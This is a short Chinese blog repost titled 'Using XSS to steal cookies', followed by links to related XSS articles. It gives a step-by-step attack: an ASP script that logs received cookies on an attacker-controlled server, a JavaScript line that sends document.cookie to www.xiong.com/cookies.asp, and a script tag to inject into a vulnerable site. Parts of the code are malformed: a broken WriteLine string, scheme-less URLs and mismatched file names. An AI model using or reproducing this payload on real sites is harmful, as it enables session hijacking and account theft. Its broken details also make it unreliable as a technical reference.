利用XSS盗取cookies

利用XSS盗取cookies
     1.把下里代码保存为cookies.asp,然后上传到能被正常访问的空间
         <%
           testfile=Server.MapPath("cookies.txt")
           msg=Request("cookies")
           set fs=server.CreateObject("scripting.filesystemobject")
           set thisfile=fs.OpenTextFile(testfile,8,True,0)
           thisfile.WriteLine(" & msg &" )
           thisfile.Close
           set fs = nothing
          %>
     2.假设***者上传地址为： http://127.0.0.1/cookie.asp
     3.然后在新建一个文件，将如下代码复制进去，保存为cookies.js
          document.forms[0].action='www.xiong.com/cookies.asp'+document.cookie
     4.同样将上面的cookies.js上传到和cookies.asp一样的目录
     5.基本环境构造好后，***者只要在存在跨站漏洞的网站写下如下代码
          <script src=www.127.0.0.1/cookies.js></script>

转载于:https://blog.51cto.com/whitehat/789469

利用XSS盗取cookies相关推荐

ajax在Xss中的利用,XSS高级利用
点击阅读利用 xss 的 javascript 劫持一个 xss 漏洞示例页面 1 2 3 4 5 6 7 8 9 10 $xss = @$_GET['xss']; if($xss!==null) ...
网络安全实验6 认识XSS 盗取cookie
赞赏码 & 联系方式 & 个人闲话 [实验名称]认识XSS&盗取cookie [实验目的] 1. 了解XSS漏洞 2. 掌握盗取Cookie的方法 [实验原理] 1.什么是XS ...
web漏洞利用---XSS注入攻击
XSS漏洞简介 XSS注入漏洞又称为"跨站脚本攻击(Cross Site Scripting)",为了不和层叠样式表(Cascading Style Sheets,CSS)混淆,所 ...
【网络安全】如何使用ppmap检测和利用XSS漏洞
关于ppmap ppmap是一款基于Go开发的漏洞扫描器/漏洞利用工具,该工具能够通过在全局上下文中检查特定变量来扫描.检测和利用XSS漏洞.该工具目前只能利用已知Gadget(可能支持部分自定义开发 ...
html %3c 不给转义,八个无法利用XSS漏洞的场景
☝☝ 相信有很多的小盆友们曾经发现过一些疑似存在XSS漏洞的站点,但又无法完全证明这个漏洞是可以被利用的.此时的你可能处于怀疑状态,也有可能你已经验证到一半了,严重怀疑其有精神病(XSS漏洞)的情况. ...
利用selenium携带cookies实现免登录
前面爬虫系列我在介绍中谈到过Javascript进行渲染的界面,普通的请求是无法获取关键代码块的. selenium确实是个神器,但是越来越多的网站也对selenium进行了识别和通过登录方式进行了限 ...
利用XSS漏洞实现键盘记录器
利用XSS漏洞实现键盘记录器本实验以反射性的XSS漏洞为例实验环境:dvwa靶机(ip:192.168.135.140) kali linux(ip:192.168.135.138) 1.首先开启 ...
利用XSS进行网页钓鱼
[XSS漏洞]利用XSS进行网页钓鱼 Hello 各位小伙伴周末晚上好这里是你们微胖的小编Monster. 话说小编的老妈今天给小编打电话,叮嘱我平时吃饭少吃一点- 说昨天看我朋友圈发的照片,已经从 ...
xss sql注入 php,利用xss 执行sql注入
看见phpcms v9.1.15爆的xss和无权限的sql注入,于是就想测试下利用xss执行sql注入,虽然爆的这个phpcms漏洞还有很多其他的用法!但是,这个注入我没有找到phpcms v9.1. ...

利用XSS盗取cookies

利用XSS盗取cookies相关推荐

最新文章

热门文章